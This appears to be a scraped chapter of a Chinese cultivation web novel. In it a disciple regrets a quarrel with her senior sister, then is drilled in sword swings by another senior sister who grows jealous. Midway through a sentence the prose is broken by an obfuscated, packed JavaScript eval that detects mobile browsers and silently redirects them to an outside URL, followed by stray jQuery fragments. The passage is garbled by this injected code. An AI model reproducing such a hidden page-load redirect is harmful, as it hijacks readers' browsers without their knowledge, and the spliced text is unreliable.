默认冷灰
24号文字
方正启体

14. 空寻

作者:落落叶松下本书字数:K更新时间:
    廊下风裹着松针的气味,扑在景在云脸上时,她刚走出食肆不远。


    脚步虚浮,指尖泛着麻,刚才怼人的话在舌尖反复碾过,带着点硌人。


    她忽然停住,后背绷得发紧。


    那些话像未滤的茶,沉在心底,干得她眼眶发潮。


    明明是当事人,刚才却像个隔着云雾的看客,冷静地剖析、追问,把相芳师姐的眼泪当成了需要厘清的“问题”。


    可她不是看客,她是怕寂寞的景在云,是怕深夜练剑时只有风声作伴的景在云,是怕陌生人眼角微芒、怕被孤立的景在云。


    从前那些难捱的日子,是相芳师姐提着温茶凑过来,说“我陪你”,是她闯祸被长老罚抄经书,相芳师姐悄悄塞来蜜饯,指尖带着糖的甜,是她失忆后茫然无措,相芳师姐日夜守着,掌心的温度熨帖着她的不安。


    那么多次不计前嫌的原谅,那么多年形影不离的陪伴,她怎么就说出了“累了”“敏感”那样重的话?


    心口像被什么堵着,闷得发慌。


    景在云猛地转身,裙摆扫过青石板,发出细碎的响声。


    脚步急起来,带着点慌,廊柱的影子被日光拉得长,在她脚下匆匆掠过。


    她要回去,要跟相芳师姐说些什么,哪怕只是递一杯温茶,也好过刚才的冷漠。


    食肆二楼的廊道静悄悄的,竹制的栏杆泛着凉。


    她快步走到那间包间门口,竹门虚掩着,推开门时,风卷着桌上的残纸飘过,纸团滚到脚边,带着泪的湿软。


    包间空了。


    桌上的陶碗还在,碗里的面早已凉透,汤汁凝着薄油,旁边散落着几张揉皱的麻纸,纸上的泪痕已经干了,留下浅浅的印。


    竹椅还留着一点浅浅的温度,像相芳师姐没散的气息,却空无一人。


    景在云的脚步顿在门口,喉间发紧。她转身抓住路过的店小二,指尖带着点颤:


    “方才在这包间的仙子,去哪了?”


    店小二躬身回话,声音带着点怯:


    “那位仙子方才就走了,独自下楼,倒不像等人的样子。”


    风从门缝钻进来,卷着桌上的废纸,又轻轻落下。


    景在云望着空荡的竹椅,指尖攥得发白,刚才急着回来的底气,瞬间被抽空。


    廊下的松涛声远远传来,带着点空落落的响,撞在心上,钝钝的疼。


    晴空万里,日光斜切过竹林梢头,落在中间空阔的练武台。


    台面上无杂尘,青石板缝里嵌着细草,风过竹影微动,扫过台边一角。


    江忆莲立在台中央。


    衣料素净,是及踝的裙,边角无绣饰,仅腰间束着一根白绦,垂落的流苏随呼吸轻晃。


    她站姿笔直,肩背舒展,周身气息清透,衣袂在风里掀动极淡的弧度,不显张扬,却自带着疏离的仙气。


    景在云站在台边,一身淡蓝色衣裤,领口袖口收得利落,布料贴合身形,无多余褶皱。


    她垂手而立,目光落在江忆莲身上,下颌微收,神色平静。


    江忆莲抬手,五指微挥。


    五把剑自她身前凭空飘出,悬在半空,间距均等。


    第一把是素铁所铸,剑身无饰,色泽沉敛,刃口泛着冷硬的光,不见多余纹路。


    第二把通体泛着淡蓝,寒气直透,靠近便觉周遭空气凝了几分,剑身光滑,无杂色。


    第三把剑身宽些,表面刻着细密花纹,线条规整,顺着剑身走势延展,不繁复,却显精致。


    第四把裹着淡淡黑雾,雾气不散,贴在剑身流转,看着暗沉,无明显光泽,透着几分诡异。


    第五把有淡绿色竹叶花纹,纹路浅浅,分布在剑身两侧,与铁色相映,素雅干净。


    五把剑静静悬着,无风自动,微微震颤。


    江忆莲开口,声音清润,无波澜:


    “你喜欢哪一把?”


    景在云抬眼,逐一看过五剑,目光在第一把上多停了片刻,眉头微蹙,似有迟疑。


    她抿了抿唇,轻声道:


    “不知道。”


    “看眼缘便是,你更喜欢哪一个?”


    江忆莲追问,指尖轻叩,五剑震颤幅度略增。


    景在云不语,迈步上前,伸手去握第一把剑的剑柄。


    指尖刚触到冰凉的铁,剑身骤然溃散,化作细雾,随风散开,转瞬无踪。


    景在云动作一顿,收回手,抬眼看向江忆莲,眼神里多了几分疑惑,似在质疑。


    江忆莲神色未变,淡淡道:


    “剑选主,需在心里。你碰它,它不认你,这便不是我能控制的了。”


    景在云垂眸,指尖还留着铁的凉意。


    她自然知晓此规,有灵之剑自择主人,可眼前五把,竟皆是通灵之器?


    她抬眼再看悬着的四剑,眉峰微拢。


    日光依旧炽烈,竹影在练武台面上投下细碎的斑痕,风过竹梢,簌簌声轻而脆。


    景在云抬眼,语气带着几分执拗,语速不疾不徐:


    “既然这些剑不认我,那也没有必要了。你不如随便折一根竹竿,或是用木头做的剑,先教我怎么用,教我第一招,比如口诀之类的,我刚开始练,也不必这么较真。”


    江忆莲忽然笑了,唇角勾起一抹浅弧,未及眼底。


    她勾了勾手指,掌心凭空冒出一簇粉白花朵,花影流转间,凝成一柄桃木剑。


    剑身泛着浅棕,纹理细密,看着单薄轻巧,握柄打磨得光滑。


    江忆莲抬手递过去。


    景在云伸手,指尖刚扣住剑柄,腕间骤然一沉。


    她猝不及防,身体前倾欲倒,足尖迅速碾过青石板,硬生生稳住身形。


    指腹贴着桃木剑的温度,重量远超预期,她眉峰挑起,眸中诧异明晃晃的,转头看向江忆莲。


    她嘴角扯了扯,本想抱怨两句,话到嘴边又咽了回去,终究是她求着师姐教剑。


    气息微顿,她只静静望着江忆莲,神色里带着点不甘。


    江忆莲神色淡然,眼底藏着一丝了然的笑意,开口时声音依旧清润:


    “怎么了,很重?”


    “不重。”


    景在云咬牙,指尖攥紧剑柄,手臂绷出浅浅的弧度。


    江忆莲再勾手指,一枝桃花凭空出现,枝桠歪扭,长度及腰,带着几片鲜嫩的花瓣。


    她迈步走到练武台中央,站定,肩背挺直,手臂抬起,手腕一转,朝着前方平平挥出。


    动作干净利落,无多余花哨,只一道风随剑势掠过台面,吹得台边细草微伏。


    她收势,转头看向景在云,眉梢微扬:


    “看清楚了没有?”


    景在云点头,下颌微收,目光落在江忆莲方才挥剑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17516840|203219||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的方向,若有所思。


    “看清楚了,就照这个动作挥一千次。”


    江忆莲语气平淡,无半分商量。


    景在云眉峰蹙起,眼底浮起疑惑,迟疑着问了一句:


    “你确定?”


    江忆莲笑眯眯的,点头时发梢轻晃:


    “我当然确定。就是不知道小云师妹,能不能吃这个苦。”


    景在云抬下巴,声音清亮,带着毫不掩饰的自信:


    “我当然有这个自信,很久之前就有了。”


    话音落,她转过身,握剑的手收紧。


    手臂起落,桃木剑带起微风,动作起初略有些歪斜,剑尖擦过台面,划开的气流歪了半寸。


    江忆莲缓步走近,掌心贴在她后背,隔着素布轻轻一推,肩头顺势摆正,手腕被指尖捏着微调,力道轻柔,无半分勉强。


    景在云顺着力道校正动作,一遍遍挥剑,目光专注地落在前方空处。


    时间缓缓淌过,肌肉酸胀从肩背蔓延到小臂,指尖攥剑的力道渐松,每一次挥剑都带起细微的颤。


    她是体修,寻常操练半个时辰不过热身,此刻却觉经脉发沉,分明是桃木剑的重量在暗中耗损气力。


    她瞥了眼江忆莲,对方仍站在台边,笑意未减,目光始终落在她身上,未有半分移开。


    景在云喉间动了动,原本涌到嘴边的休息二字,被硬生生咽了回去。


    她咬了咬牙,心里暗道:


    不过一千次,有何难。


    可念头刚落,与相芳师姐争执的言语便撞进脑海。


    眉峰不自觉蹙起,愧疚与愤懑缠在一起,挥剑的动作乱了节奏。


    剑尖忽高忽低,连着三次都失了准头,一次偏左,一次过低,最后一次竟直接擦过台面,火星溅起半寸。


    江忆莲上前一步,攥住她手腕,力道不重却稳。


    景在云挣了一下,剑势发狠,带着泄愤的意味,想继续挥下去。


    “我还没有练完,抓着我干什么?”


    她语气带着不耐,额角沁出细汗。


    “你心中有气。”


    江忆莲声音平静,目光锁住她。


    “练剑要心无旁骛,你心里想的是谁?”


    “我知道了,我不想了。”


    景在云偏头,避开她的视线。


    “你心里没想我?”


    江忆莲追问,指尖微微用力。


    “那你想别的女人?”


    景在云闻言一怔,知道再争下去又要闹僵,连忙摇头:


    “不是,我没有想别人。”


    “你撒谎。”


    江忆莲话音落,反手一扬,桃木剑脱手飞出,剑尖朝着台边竹林去,距竹身不足半尺时,剑身溃散,化作漫天粉白花瓣,簌簌落在青石板上,转瞬不见。


    景在云手腕被攥着挣不开,转身想翻跃脱身,右脚顺势扫向江忆莲的手臂。


    江忆莲左手探出,精准扣住她的脚腕,力道沉稳。


    此刻景在云只剩左脚点地,身体微微倾斜,勉强稳住身形,另一只手腕与脚腕皆被握住,动弹不得。


    “你放开!”


    她眉梢拧起,语气带着愠怒。


    江忆莲脸色沉了些,眼底藏着不易察的委屈,声音低了些,带着点嘟囔:


    “明明我在这里,你心里却还在想别的女人?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)